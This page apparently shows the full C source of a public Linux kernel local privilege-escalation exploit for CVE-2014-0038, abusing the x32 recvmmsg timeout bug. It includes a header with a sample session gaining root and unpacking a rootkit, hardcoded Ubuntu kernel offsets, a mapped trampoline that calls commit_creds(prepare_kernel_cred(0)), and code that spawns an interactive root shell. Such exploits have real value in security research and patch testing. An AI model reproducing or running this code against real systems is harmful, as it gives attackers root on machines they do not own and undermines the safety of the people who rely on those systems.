Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/data/exploits/CVE-2014-0038/recvmmsg.c
Views: 11777
/*1*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*2recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)3CVE-2014-0038 / x32 ABI with recvmmsg4by rebel @ irc.smashthestack.org5-----------------------------------67takes about 13 minutes to run because timeout->tv_sec is decremented8once per second and 0xff*3 is 765.910some things you could do while waiting:11* watch http://www.youtube.com/watch?v=OPyZGCKu2wg 3 times12* read https://wiki.ubuntu.com/Security/Features and smirk a few times13* brew some coffee14* stare at the countdown giggly with anticipation1516could probably whack the high bits of some pointer with nanoseconds,17but that would require a bunch of nulls before the pointer and then18reading an oops from dmesg which isn't that elegant.1920&net_sysctl_root.permissions is nice because it has 16 trailing nullbytes2122hardcoded offsets because I only saw this on ubuntu & kallsyms is protected23anyway..2425same principle will work on 32bit but I didn't really find any major26distros shipping with CONFIG_X86_X32=y2728user@ubuntu:~$ uname -a29Linux ubuntu 3.11.0-15-generic #23-Ubuntu SMP Mon Dec 9 18:17:04 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux30user@ubuntu:~$ gcc recvmmsg.c -o recvmmsg31user@ubuntu:~$ ./recvmmsg32byte 3 / 3.. ~0 secs left.33w00p w00p!34# id35uid=0(root) gid=0(root) groups=0(root)36# sh phalanx-2.6b-x86_64.sh37unpacking..3839:)=4041greets to my homeboys kaliman, beist, capsl & all of #social4243Sat Feb 1 22:15:19 CET 201444% rebel %45*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*46*/4748#define _GNU_SOURCE49#include <netinet/ip.h>50#include <stdio.h>51#include <stdlib.h>52#include <string.h>53#include <sys/socket.h>54#include <unistd.h>55#include <sys/syscall.h>56#include <sys/mman.h>57#include <sys/types.h>58#include <sys/stat.h>59#include <fcntl.h>60#include <sys/utsname.h>6162#define __X32_SYSCALL_BIT 0x4000000063#undef __NR_recvmmsg64#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)65#define VLEN 166#define BUFSIZE 2006768int port;6970struct offset {71char *kernel_version;72unsigned long dest; // net_sysctl_root + 9673unsigned long original_value; // net_ctl_permissions74unsigned long prepare_kernel_cred;75unsigned long commit_creds;76};7778struct offset offsets[] = {79{"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.1080{"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.1081{"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.0482{NULL,0,0,0,0}83};8485void udp(int b) {86int sockfd;87struct sockaddr_in servaddr,cliaddr;88int s = 0xff+1;8990if(fork() == 0) {91while(s > 0) {92fprintf(stderr,"\rbyte %d / 3.. ~%d secs left \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));93sleep(1);94s--;95fprintf(stderr,".");96}9798sockfd = socket(AF_INET,SOCK_DGRAM,0);99bzero(&servaddr,sizeof(servaddr));100servaddr.sin_family = AF_INET;101servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);102servaddr.sin_port=htons(port);103sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));104exit(0);105}106107}108109void trigger() {110open("/proc/sys/net/core/somaxconn",O_RDONLY);111112if(getuid() != 0) {113fprintf(stderr,"not root, ya blew it!\n");114exit(-1);115}116117fprintf(stderr,"w00p w00p!\n");118system("/bin/sh -i");119}120121typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);122typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);123_commit_creds commit_creds;124_prepare_kernel_cred prepare_kernel_cred;125126// thx bliss127static int __attribute__((regparm(3)))128getroot(void *head, void * table)129{130commit_creds(prepare_kernel_cred(0));131return -1;132}133134void __attribute__((regparm(3)))135trampoline()136{137asm("mov $getroot, %rax; call *%rax;");138}139140int main(void)141{142int sockfd, retval, i;143struct sockaddr_in sa;144struct mmsghdr msgs[VLEN];145struct iovec iovecs[VLEN];146char buf[BUFSIZE];147long mmapped;148struct utsname u;149struct offset *off = NULL;150151uname(&u);152153for(i=0;offsets[i].kernel_version != NULL;i++) {154if(!strcmp(offsets[i].kernel_version,u.release)) {155off = &offsets[i];156break;157}158}159160if(!off) {161fprintf(stderr,"no offsets for this kernel version..\n");162exit(-1);163}164165mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1));166mmapped &= 0x000000ffffffffff;167168srand(time(NULL));169port = (rand() % 30000)+1500;170171commit_creds = (_commit_creds)off->commit_creds;172prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;173174mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);175176if(mmapped == -1) {177perror("mmap()");178exit(-1);179}180181memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);182183memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);184185if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {186perror("mprotect()");187exit(-1);188}189190sockfd = socket(AF_INET, SOCK_DGRAM, 0);191if (sockfd == -1) {192perror("socket()");193exit(-1);194}195196sa.sin_family = AF_INET;197sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);198sa.sin_port = htons(port);199200if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {201perror("bind()");202exit(-1);203}204205memset(msgs, 0, sizeof(msgs));206207iovecs[0].iov_base = &buf;208iovecs[0].iov_len = BUFSIZE;209msgs[0].msg_hdr.msg_iov = &iovecs[0];210msgs[0].msg_hdr.msg_iovlen = 1;211212for(i=0;i < 3 ;i++) {213udp(i);214retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);215if(!retval) {216fprintf(stderr,"\nrecvmmsg() failed\n");217}218}219220close(sockfd);221222fprintf(stderr,"\n");223224trigger();225}226227228